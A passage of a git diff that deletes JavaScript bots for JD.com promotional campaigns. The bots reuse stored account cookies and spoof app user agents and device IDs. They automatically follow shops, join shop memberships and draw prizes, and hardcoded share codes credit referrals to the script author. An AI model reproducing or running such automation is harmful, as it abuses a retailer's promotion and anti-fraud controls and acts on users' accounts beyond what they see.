- } - break; - case 'join_team': - if(data){ - console.log(JSON.stringify(data)); - } - break; - case 'team_info': - if(data){ - $.teamInfo = data - } - break; - case 'draw_prize': - if(data){ - console.log(JSON.stringify(data)); - } - break; - case 'my_prize': - if(data){ - let message = ''; - if(data && data.length>0){ - for (let i = 0; i < data.length; i++) { - let oneInfo = data[i]; - if(oneInfo.is_get !== 1){ - console.log(`奖品:${oneInfo.name},未填写地址`) - message+= oneInfo.name+'\n'; - }else{ - console.log(`奖品:${oneInfo.name},已填写地址`) - } - } - if(message !== ''){ - message = `京东账号${$.index} ${$.UserName},抽到实物,请到APP填写地址\n 活动路径: 手机馆--》IQOO大牌日--》左下角金机馆\n`+message; - notify.sendNotify(`金机奖投票`,message); - } - } - } - break; - default: - console.log(JSON.stringify(data)); - } -} -function getGetRequest(url) { - let headers = { - 'Host': 'xinrui1-isv.isvjcloud.com', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': $.cookie + `wait-update=${$.authorization};`, - 'Connection':'keep-alive', - 'User-Agent':$.UA, - 'Authorization': 'bearer '+ ($.authorization === '' ? 'undefined' : $.authorization), - 'Referer': 'https://xinrui1-isv.isvjcloud.com/gold-phone/loading/', - 'Accept-Language': 'zh-cn', - } - return {url: url, headers: headers}; -} -function getPostRequest(url,body) { - let headers = { - 'Host': 'xinrui1-isv.isvjcloud.com', - 'Accept':'application/x.jd-school-raffle.v1+json', - 'Authorization': 'Bearer '+ ($.authorization === '' ? 'undefined' : $.authorization), - 'Source':'02', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type':'application/json;charset=utf-8', - 'Origin':'https://xinrui1-isv.isvjcloud.com', - 'User-Agent':$.UA, - 'Connection':'keep-alive', - 'Referer':'https://xinrui1-isv.isvjcloud.com/gold-phone/?channel=fc&tttparams=MMzMjfMTeyJnTG5nIjoiMTIxLjM5MzIwMyIsImdMYXQiOiIzMS4yMjI3NzEifQ8%3D%3D&lng=121.393203&lat=31.222771&sid=38228f043bc4906c37889c187fd10b5w&un_area=2_2841_61104_0', - 'Content-Length':32, - 'Cookie': `jd-golden-phone=${$.authorization};`, - } - return {url: url, headers: headers,body:body}; -} -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -async function getToken() { - let config = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/xinrui1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIde27812210seewuOJWEnRZ6u7X5cB/JIQnsLj51RJEe7PtlRG/yNSbeUMf%2BbNdgjQzFxhZsU4m5/PLZOhi87ebHQ0wPc9qd82Bh%2BVoPAhwbhRqFY&isBackground=N&joycious=54&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3090b2b2997d877191d0aef083b8d985&st=1628230407213&sv=102&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJtgH/sOkA5ELPGCiuUXbsrWcAq%2B0c83LNknkzBXgDXlQ3pq2eMY2enviS/%2BJ6TGkfqBEbO/bQ5%2BKGVjit9RrmNU/D2OwTZ2Bqi/idA2EqDmsJuNS3bvh8kCV4sO4DAHDETkc3g6r8ZeDy72mlQ1hCUss2YaXalY%2BbnkC07OlzyjC8/fuhehBm0g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-CN;q=1, en-CN;q=0.9', - 'accept-encoding':' gzip, deflate, br', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token = data['token'] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -async function getJdUserInfo(){ - let url= `https://xinrui1-isv.isvjcloud.com/gapi/jd-user-info`; - let body = `{"token":"${$.token}","source":"01"}`; - let headers = { - 'Host': 'xinrui1-isv.isvjcloud.com', - 'Accept': 'application/json, text/plain, */*', - 'Authorization': 'bearer '+ ($.authorization === '' ? 'undefined' : $.authorization), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type':'application/json;charset=utf-8', - 'Origin':'https://xinrui1-isv.isvjcloud.com', - 'User-Agent':$.UA, - 'Connection':'keep-alive', - 'Referer':'https://xinrui1-isv.isvjcloud.com/gold-phone/logined_jd/', - 'Content-Length':'101', - 'Cookie': $.cookie, - } - let myRequest = {url: url, headers: headers, body: body}; - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if (data) { - data = JSON.parse(data); - $.authorization = data.access_token; - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data || []); - } - }) - await $.wait(10000) - resolve(); - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_gq.js b/backUp/jd_gq.js deleted file mode 100644 index 8e64107..0000000 --- a/backUp/jd_gq.js +++ /dev/null @@ -1,544 +0,0 @@ -/* -礼惠国庆 大牌欢乐购 -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/3444910?activityId=8d98g98f8dg8d7s6df7svysd9g7fd88d -*/ -const $ = new Env("礼惠国庆 大牌欢乐购"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [ - 'f86cf586db314690b020975e5e94d470', - '76430b6ed06e4794a146bf8cc76c6a01', - ] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = '8d98g98f8dg8d7s6df7svysd9g7fd88d' - $.activityShopId = '1000015445' - $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await marry(); - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function marry() { - $.log('那就开始吧。') - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < $.openCardStatus.cardList1.length; i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000015445&pageId=8d98g98f8dg8d7s6df7svysd9g7fd88d&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(6000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(6000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(6000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(6000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(6000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - 